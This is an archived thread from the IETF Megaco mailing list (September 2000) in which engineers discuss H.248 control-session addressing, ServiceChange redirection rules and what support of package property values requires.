From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  1 15:04:58 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18463
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 1 Sep 2000 15:04:58 -0400 (EDT)
Received: from standards (47.234.32.16:2638) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F0D5@standards.nortelnetworks.com>; Fri, 1 Sep 2000 14:51:20 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 11435 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 1 Sep 2000 14:51:20 -0400
Received: from qhars002.nortel.com (47.101.112.102:46578) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8F0D4@standards.nortelnetworks.com>; Fri, 1 Sep 2000
          14:51:15 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Fri, 1 Sep 2000 20:03:53 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Fri, 1 Sep 2000 13:57:42 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC8VN0>; Fri, 1 Sep 2000 14:01:20 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7A791>; Fri, 1 Sep 2000 13:34:59 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480CF5@zcard00g.ca.nortel.com>
Date:         Fri, 1 Sep 2000 14:01:19 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Addressing For Control
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I would like to summarize a number of points around control session
addressing which have come up over the last few months, just to see that
this is how everyone sees the situation.  I am particularly concerned to
make sure I have expressed the correct view of the role of the MId in the
message header, since if I am correct, it would have made more sense to
define it as an arbitrary octet string.

In what follows, question marks denote items which aren't clearly stated in
or obvious inferences from the protocol document.

General
=======

1. All responses go back to the source of the request.  In IP terms, this
means that the response is sent back to the source IP address drawn from the
IP header of the request, and the port drawn from the UDP/TCP/SCTP header of
the request.  For ATM transport presumably the VC over which the request was
received is the VC over which the response is sent.

2. (?) The role of the MId in the message header is to provide
application-level identification of the sender of the message.  In any given
control session, the MId used by a given end will stay the same, even if the
transport connection changes.  MIds for different virtual MGs will differ,
even if they reside at the same IP address.  In fact, virtual MGs may even
share the same port (with demultiplexing being done on the MId).

MG-Originated ServiceChange
===========================

3. The MG chooses where to send its initial ServiceChange according to the
following rules:

   (a) The address given in a ServiceChangeMGCId from an MGC takes
precedence over any provisioned address until the MG determines that there
is no response from the MGC-provided address.

   (b) If either the provisioned address being tried or the address supplied
in a ServiceChangeMGCId lacks a port number, the MG will use the default
port number (2944 for text or 2945 for binary).

4. If the MG issues a ServiceChange on ROOT, the ServiceChangeAddress MAY be
present in the request.  If so, it provides the address to which the MGC is
meant to send all requests that it issues within the current control
session.  Where TCP is in use, this means the following sequence will occur:

   (a) MG sends ServiceChange from TCP addr:port A, containing
ServiceChangeAddress equal to addr:port B (understood to be TCP because the
original contact was via TCP).

   (b) MGC sends its response on the TCP connection to addr:port A.

   (c) MGC opens up a TCP connection to addr:port B and sends all subsequent
requests through that connection.  The MG returns its responses to the MGC's
requests through the same connection.

   (d) Assuming the MGC did not provide an alternative address in the
ServiceChange response, the MG (at its option) MAY continue to use the
original connection from addr:port A for its Notify and ServiceChange
requests.

This is all hypothetical: it seems more likely in practice that the MG will
not send a ServiceChangeAddress in the first place (particularly since it
complicates security arrangements).

5. (?) Where the MG has NOT provided a ServiceChangeAddress, the MGC will
direct its requests to the address:port from which the MG sent its
ServiceChange request.

6. In a ServiceChange response, the MGC may provide a ServiceChangeAddress,
a ServiceChangeMGCId, or neither.

   (a) If it provides a ServiceChangeAddress, the MG is required to send all
subsequent requests to the given address.  The MId in subsequent messages
from the MGC MUST remain unchanged from the value given in the response to
the initial ServiceChange.

   (b) If the MGC provides a ServiceChangeMGCId, it is rejecting the
registration of the MG.  The MG MUST take down any transport connection it
established to the MGC, then try to establish a new session to the address
specified by the ServiceChangeMGCId.

   (c) (?) If the MGC supplied neither a ServiceChangeAddress nor a
ServiceChangeMGCId, the MG MUST send all subsequent requests to the same
addr:port at the MGC to which it sent the initial ServiceChange request.

7. If the MGC is unable to accept a registration request, it has the
following alternatives:

   (a) reject the attempt to connect at the transport level (if
connection-oriented transport such as TCP or SCTP is used), or ignore the
incoming message (if connectionless transport is used)

   (b) reject the ServiceChange request at the application level by
supplying a reply with an error descriptor against the command (e.g. with
error code 502 Not Ready or 510 Insufficient Resources)

   (c) redirect the MG using ServiceChangeMGCId in the response.

The MGC SHOULD use either (b) or (c).

MGC-Originated ServiceChange Request
====================================

8. The MGC may originate a ServiceChange request containing
ServiceChangeMGCId.  This requires the MG to take the following actions:

   (a) respond to the ServiceChange request and to any other outstanding
commands at the addresses from which they were sent

   (b) attempt to establish a new control session at the address indicated
in ServiceChangeMGCId.

Outstanding requests from the MG to the old MGC are discussed in a separate
note.


9. The MGC may originate a ServiceChange request containing
ServiceChangeAddress.  This requires the MG to take the following actions:

    (a) as above

    (b) send all subsequent requests to the indicated ServiceChangeAddress

    (c) if retransmitting outstanding requests to the MGC, use the same
address that the original request went to.

It seems reasonable to require that in this case the ServiceChangeMethod (if
any) should be restricted to GRACEFUL or FORCED.

10. (?) The MGC MAY (pathological case?) issue a ServiceChange request
containing neither ServiceChangeAddress nor ServiceChangeMGCId.  Assuming
the ServiceChangeMethod does not indicate that the MG should not find
another MGC, it seems reasonable in this case to follow these rules:

    (a) as above

    (b) send all subsequent requests to the address from which the
ServiceChange request was issued.

    (c) if retransmitting outstanding requests to the MGC, use the same
address that the original request went to.

Speaking of pathological cases, ServiceChangeMethod does not seem to be a
required field in our syntax.

Comments?

Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  1 15:29:34 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18695
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 1 Sep 2000 15:29:34 -0400 (EDT)
Received: from standards (47.234.32.16:3970) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F104@standards.nortelnetworks.com>; Fri, 1 Sep 2000 15:16:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 11497 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 1 Sep 2000 15:16:13 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB8F103@standards.nortelnetworks.com>; Fri, 1 Sep 2000 15:16:12
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com) by turin.trillium.com
          (Content Technologies SMTPRS 4.1.5) with ESMTP id
          <T26bb92c51154e62852b28@turin.trillium.com>; Fri, 1 Sep 2000 12:45:43
          -0700
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id MAA21407; Fri, 1 Sep
          2000 12:28:46 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6TZJ>; Fri, 1 Sep 2000 12:21:17 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5DAFF44E@aega.trillium.com>
Date:         Fri, 1 Sep 2000 12:21:10 -0700
Reply-To: Naren Tulpule <naren@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Naren Tulpule <naren@TRILLIUM.COM>
Subject:      Re: Addressing For Control
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom, list,
  please see comments below.
-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]

2. (?) The role of the MId in the message header is to provide
application-level identification of the sender of the message.  In any given
control session, the MId used by a given end will stay the same, even if the
transport connection changes.  MIds for different virtual MGs will differ,
even if they reside at the same IP address.  In fact, virtual MGs may even
share the same port (with demultiplexing being done on the MId).

[NAREN] Virtual MGs cannot share the same (IP address+port) combination for
RECEIVING messages from an MGC which is controlling two or more virtual MGs
in the physical MG. The MId in the message will be that of the MGC, and not
useful for demultiplexing. And since responses from MGC are sent back to the
source port, the MGs cannot share a port for SENDING commands either.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  1 16:05:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19223
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 1 Sep 2000 16:05:49 -0400 (EDT)
Received: from standards (47.234.32.16:1289) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F147@standards.nortelnetworks.com>; Fri, 1 Sep 2000 15:52:32 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 11580 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 1 Sep 2000 15:52:32 -0400
Received: from qhars002.nortel.com (47.101.112.102:48266) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8F146@standards.nortelnetworks.com>; Fri, 1 Sep 2000
          15:52:32 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Fri, 1 Sep 2000 21:05:07 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Fri, 1 Sep 2000 15:04:44 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC8XQQ>; Fri, 1 Sep 2000 15:02:35 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480CF7@zcard00g.ca.nortel.com>
Date:         Fri, 1 Sep 2000 15:02:32 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Addressing For Control
X-To:         Naren Tulpule <naren@trillium.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You're right.  I knew that statement was risky.

> -----Original Message-----
> From: Naren Tulpule [mailto:naren@trillium.com]
> Sent: Friday, September 01, 2000 3:21 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH];
> MEGACO@standards.nortelnetworks.com
> Subject: RE: Addressing For Control
>
>
> Hi Tom, list,
>   please see comments below.
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>
> 2. (?) The role of the MId in the message header is to provide
> application-level identification of the sender of the
> message.  In any given
> control session, the MId used by a given end will stay the
> same, even if the
> transport connection changes.  MIds for different virtual MGs
> will differ,
> even if they reside at the same IP address.  In fact, virtual
> MGs may even
> share the same port (with demultiplexing being done on the MId).
>
> [NAREN] Virtual MGs cannot share the same (IP address+port)
> combination for
> RECEIVING messages from an MGC which is controlling two or
> more virtual MGs
> in the physical MG. The MId in the message will be that of
> the MGC, and not
> useful for demultiplexing. And since responses from MGC are
> sent back to the
> source port, the MGs cannot share a port for SENDING commands either.
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  1 19:27:56 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22712
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 1 Sep 2000 19:27:55 -0400 (EDT)
Received: from standards (47.234.32.16:3516) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F247@standards.nortelnetworks.com>; Fri, 1 Sep 2000 19:14:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 11883 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 1 Sep 2000 19:14:43 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB8F246@standards.nortelnetworks.com>; Fri, 1 Sep 2000 19:14:43
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com) by turin.trillium.com
          (Content Technologies SMTPRS 4.1.5) with ESMTP id
          <T26bb92c51154e635f7f11@turin.trillium.com>; Fri, 1 Sep 2000 16:44:11
          -0700
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id QAA26411; Fri, 1 Sep
          2000 16:27:13 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6T0T>; Fri, 1 Sep 2000 16:19:44 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB42C@aega.trillium.com>
Date:         Fri, 1 Sep 2000 16:19:42 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Addressing For Control
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom,

  My comments are below

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Friday, September 01, 2000 12:01 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Addressing For Control

2. (?) The role of the MId in the message header is to provide
application-level identification of the sender of the message.  In any given
control session, the MId used by a given end will stay the same, even if the
transport connection changes.  MIds for different virtual MGs will differ,
even if they reside at the same IP address.  In fact, virtual MGs may even
share the same port (with demultiplexing being done on the MId).

[[ BHARAT ]]

We should have a simple statement which says MID is unique for a control
session for a megaco component. This should cover MGCs, MGs and virtual MGs.


MG-Originated ServiceChange
===========================


4. If the MG issues a ServiceChange on ROOT, the ServiceChangeAddress MAY be
present in the request.  If so, it provides the address to which the MGC is
meant to send all requests that it issues within the current control
session.  Where TCP is in use, this means the following sequence will occur:

   (a) MG sends ServiceChange from TCP addr:port A, containing
ServiceChangeAddress equal to addr:port B (understood to be TCP because the
original contact was via TCP).

   (b) MGC sends its response on the TCP connection to addr:port A.

   (c) MGC opens up a TCP connection to addr:port B and sends all subsequent
requests through that connection.  The MG returns its responses to the MGC's
requests through the same connection.

[[[[ BHARAT  ]]]]]]

I don't think (c) should be an option. First because of security
arrangements, secondly because MGs already have a capability of initiating
connections and let them keep on
doing so. This need not be part of MGCs. Also, I can't see why MG would want
to specify
a ServiceChange Address for TCP. It might as well initiate the connection
using that source transport address where it wants to communicate. I am
inclined towards not having (c) as an option for TCP.(c) however is a valid
option for UDP.




6. In a ServiceChange response, the MGC may provide a ServiceChangeAddress,
a ServiceChangeMGCId, or neither.

[[[[ BHARAT ]]]]]

I hope you mean ServiceChangeAddress OR ServiceChangeMGCID not both.



MGC-Originated ServiceChange Request
====================================

9. The MGC may originate a ServiceChange request containing
ServiceChangeAddress.  This requires the MG to take the following actions:

    (a) as above

    (b) send all subsequent requests to the indicated ServiceChangeAddress

    (c) if retransmitting outstanding requests to the MGC, use the same
address that the original request went to.

It seems reasonable to require that in this case the ServiceChangeMethod (if
any) should be restricted to GRACEFUL or FORCED.

[[[[[ BHARAT ]]]]]]

I am not sure I understand what MGC is trying to tell MG while using these
methods. Specifying ServiceChangeAddress after things are up and running
(i.e. registration has
completed long back) might be tricky with TCP as transport. It would be
interesting to see what people have to say on this. Till now, I thought only
"handoff" is the allowed method from MGC to MG.

- Bharat


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:13:37 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00804
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:13:37 -0400 (EDT)
Received: from standards (47.234.32.16:1209) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F6C8@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:59:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13378 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 03:59:13 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8F6C2@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:49:13
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e84825p11133; Mon, 4 Sep 2000 10:02:05 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          KAA02536; Mon, 4 Sep 2000 10:02:04 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA28522; Mon, 4 Sep 2000
          10:02:02 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480CBA@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B2E601.A28D200A@ericsson.com>
Date:         Mon, 4 Sep 2000 11:00:01 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Support of Values in Packages
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

If you think Codecs are a "Red-Herring" how about Announcements? If you
have an MGC-MG that is operating as an anouncement server which support
100 announcements. You may want to place certain announcement resources
across different MGs. Now you could have one package called the
Nortel-Announcement-Package or you could have the:
Nortel-Announcement-Package-1to20-for-AT&T
Nortel-Announcement-Package-1to30-for-MCI
Nortel-Announcement-Package-31-100-for-MCI
etc.etc.etc.

If you have a strict rule that to be compliant to H.248 that you must
support all values of proporties and parameters by default you can start
generating alot of packages when you don't need to and the package space
is going to fill with really useless packages. Someting like
No. Packages for One Function = No. Vendors * No. of MG configurations *
No. Customers

Codecs are just one example of things that aren't linked, I believe you
only need one case to disprove the rule.

Cheers, Christian

Tom-PT Taylor wrote:
>
> You make a valid point about "support" making fewer demands on the MGC than
> on the MG in many cases.
>
> Just to frame the terms of discussion, I would suggest that we use support
> in the strict sense that the recipient is capable of carrying out the
> semantic intent, not just process the syntax.
>
> The key issues are predictability of MG behaviour vs. package fragmentation.
> The codec example is (so far) a red herring, since I don't recall a codec
> property in any of our packages.  Our solution to open-ended lists to this
> point has been package extensions (cf toneids).  The hope is that each such
> extension can cluster a reasonable number of items which one might expect to
> be supported in the same device.  Something like codecs would certainly dash
> that hope, since there is in general no linkage between the support of one
> codec and the support of another.  We may just have to live with this, in
> the sense that we end up registering lots of packages.  The numbering space
> for package registration is pretty broad.
>
> -----Original Message-----
> From: Boyle, Kevin [NCRTP:3Z70:EXCH]
> Sent: Friday, August 25, 2000 2:01 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Support of Values in Packages
>
> Hello,
>
> A general question here:
>
> What, exactly, is meant by "support" of a signal?  Does this mean that a
> gateway will absolutely know what the physical parameters of the signal are,
> and will play it?  Or does it mean something a little less than that, for
> instance, that the gateway will gracefully accept the signal in question,
> not necessarily doing anything about it?
>
> Generally speaking, signals, and tones in particular, have very precise
> definitions as to when and how they should be used.  So, if there are no
> phones in need of a particular signal off of a gateway, in theory, that
> signal would never be requested by the MGC.  However, if it was, by the
> package definition, the MG would be required to support it.  Is it
> incorrect, then, for the MG to successfully acknowledge the signal
> application command, and then throw the signal away?  Maybe the signal could
> be datafilled to be/do nothing in the MG, in which case ignoring the signal
> would be a correct application of the signal to the line.
>
> MGCs have a little different issue with the meaning of "support".  Just
> because a MGC supports the ability to generate a particular signal to a MG,
> does not necessarily mean that MGC will ever do so.  In this case, "support"
> becomes a pretty meaningless term.  If a signal is never going to be
> generated, then what does support really mean?  That the MGC can generate
> the signal through manual intervention?
>
> The same argument about signal support in MGCs also applies to events as
> well.  If we will never ask for a particular event, what does support of
> that event mean?  For MGs, the same is not true.  A MG must be able to
> report a supported event when it is requested in the Events descriptor.  So
> support of events from a MG standpoint is fairly straightforward.  Since
> properties and statistics are acted upon in both directions, support is also
> a straightforward concept for these as well.
>
> I, too, agree that there is an issue regarding values, as highlighted by the
> codec example.  In the same vein, there needs to be a better definition of
> what support means, especially in regards to signals and events.  I propose,
> as a starting point for discussion, that "support" of signals in the MG
> means that the MG will accept the signal, and acknowledge it without error,
> at the very minimum.  Any problem with MGs choosing to ignore important
> signals will be rectified by the MG's inability to produce quality telephone
> service without those signals.  "Support" in the MGC is a little tougher
> issue, since support of a signal or event is invisible until such time as
> the signal or event is requested.
>
> Any comments/ideas/statements to correct my misconceptions? ;)
>
> Regards,
>
> Kevin Boyle
> CS2K Line Services
> Nortel Networks
>
> Flemming Andreasen wrote:
>
> Christian Groves wrote:
>
> > G'Day all,
> >
> > There has been some confusion at the SG16 on what is supported in
> > Packages.
> >
> > The understanding that I had was that: If you support a package you must
> > support all the signals, properties, events and statistics.
>
> Agreed.
>
> > However you
> > do not have to support all the values associated with the properties and
> > parameters.
>
> I guess the term "values" is somewhat prone to interpretation, but I would
> tend to disagree if we refer to a list of well-defined values, as e.g. a
> list of tone ids in E.7.
>
> >
> >
> > Tom mentioned that a thread discussed on the list contravened this.
> >
> > The reasoning that I have for not having to support all the values is
> > the following:
> > o Proliferation of packages. Eg: if a package has a list of tones, and I
> > must support all the values, if I only want to support a subset of these
> > values then I need a new package. Therefore you may get the case of a
> > package "Package Call Progress Tones E.7" where an MG doesn't support
> > Payphone Recognition Tone because it doesn't have payphones connected to
> > it.
>
> However, in this parcticular example, the tones are both signals and tone
> ids, so the effect would be the same. While I'm not particularly fond of the
>
> tonegen package, it does nevertheless illustrate an important point, namely
> that the distinction between signals, and parameters to signals (and similar
>
> for other constructs) is somewhat arbitrary. The package really gives you
> two things:
> 1. A name space
> 2. A convenient grouping of some set of "properties"
>
> If we don't know exaclty what those "properties" are, then we've lost a very
>
> important aspect of packages.
>
> > To be compliant with H.248 I can't extend the package because I want
> > to remove the payphone tone. So a new Package needs to be defined
> > containing exactly the same information but without the payphone tone.
> > Now my MG won't support the standard Call Progress Tone package but will
> > support the XXX_companies_Call_Progress_Tone package. This would lead to
> > a proliferation of packages.
>
> I agree, but we have to ask ourselves what the idea about packages is.
> Simplicity and flexibility are often at odds with each other and in this
> case stress the importance of defining packages very carefully.
>
> If I no longer know exactly what is supported in a package, how do I go
> about using that package ?
>
> >
> >
> > o Multiple GW support - One MG may not implement all the values of a
> > property. For something like a list of codecs, a group of resources
> > associated with the value may be placed in different MG GWs. ie. GSM
> > codecs in MG1, PCM codecs in MG2. So whilst the MGs support the same
> > package properties, they can't support a subset of values then you'd
> > need to define a different package for each MG configuration. Again
> > leading to a proliferation of packages.
>
> Back to defining what "values" mean. Obviously, if we define a "codec"
> property in a package, we can't expect support for every possible codec in
> the world.
>
> Maybe there's a distinction between supporting values for events, signals,
> statistics, and properties ?
>
> >
> >
> > o The MGC knows the PackageID, that all Properties, Signals, Events,
> > Statistics are supported. In H.248 we have the AuditCapability and
> > AuditValue commands to find out what actual values of properties are
> > supported.
>
> Not sure how you would do that with event and signal parameters though (come
>
> to think of it, I'm not sure how you, in practice, do that for a lot of
> parameters; "The appropriate descriptors, *with the possible values for the
> Termination* are returned from AuditCapabilities", Section 7.2.6). On the
> other, we could have a new property that looked similar, so it's not clear
> it wouldn't apply there either.
>
> >
> >
> > So if people agree that not all values in a package need to be supported
> > I propose to add some text to the implementor's guide:
> > Section 12.1 after 2nd Paragraph
> > "A MG SHALL support all Property, Signals & parameters, Events &
> > parameters and Statistics. A MG MAY support a subset of property and
> > parameter values defined in the package unless specified in a package."
>
> I don't want to deflate the package concept to the extent this would seem to
>
> allow, but I agree there's an issue here. Further discussion is needed
> before we make any change.
>
> -- Flemming
>
> >
> >
> > Cheers, Christian
>
> --
> Flemming Andreasen
> Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:13:38 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00808
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:13:37 -0400 (EDT)
Received: from standards (47.234.32.16:1209) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F6CE@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:59:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13379 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 03:59:14 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F6C1@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:49:08
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e84823w19943; Mon, 4 Sep 2000 10:02:03 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          KAA02477; Mon, 4 Sep 2000 10:01:59 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA28518; Mon, 4 Sep 2000
          10:01:57 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF6787B9@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B2E113.830D3E0E@ericsson.com>
Date:         Mon, 4 Sep 2000 10:38:59 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian and Flemming,

I saw that the difference between when you use ServiceChangeAddress and
ServiceChangeMid was that the ServiceChangeAddress was used when talking
to an already contacted physical MGC. The ServiceChangeMid was used to
contact a physically seperate MGC. So I don't see the need of
disallowing anything but the port in IP as the MGC may have a range of
addresses.

Cheers, Christian

"Rosen, Brian" wrote:
>
> I thought you might say that, I've been thinking about it
> since I sent the message.
>
> Posing the question slightly differently, if the ServiceChangeAddress
> can do what ServiceChangeMid can do, so why have two mechanisms?
> The only difference would be the MGs actions.  If you used
> ServiceChangeAddress,
> the MG would not send a new ServiceChange command to the new address.
> If you used ServiceChangeMid, it would.  The end result would be the same.
>
> We can:
>         Explicitly disallow ServiceChangeAddress from being used to
>                 change anything but IP Port when used with IP
>         Get rid of one of the two of them
>
> I favor the former, as that is easiest, is most consistent with
> history, and makes the most sense to me.  I'll note that what
> we call ServiceChangeAddress used to be "port".  It got
> changed when we realized "port" wouldn't make sense if it was
> not an IP transport.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Tuesday, August 29, 2000 7:37 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
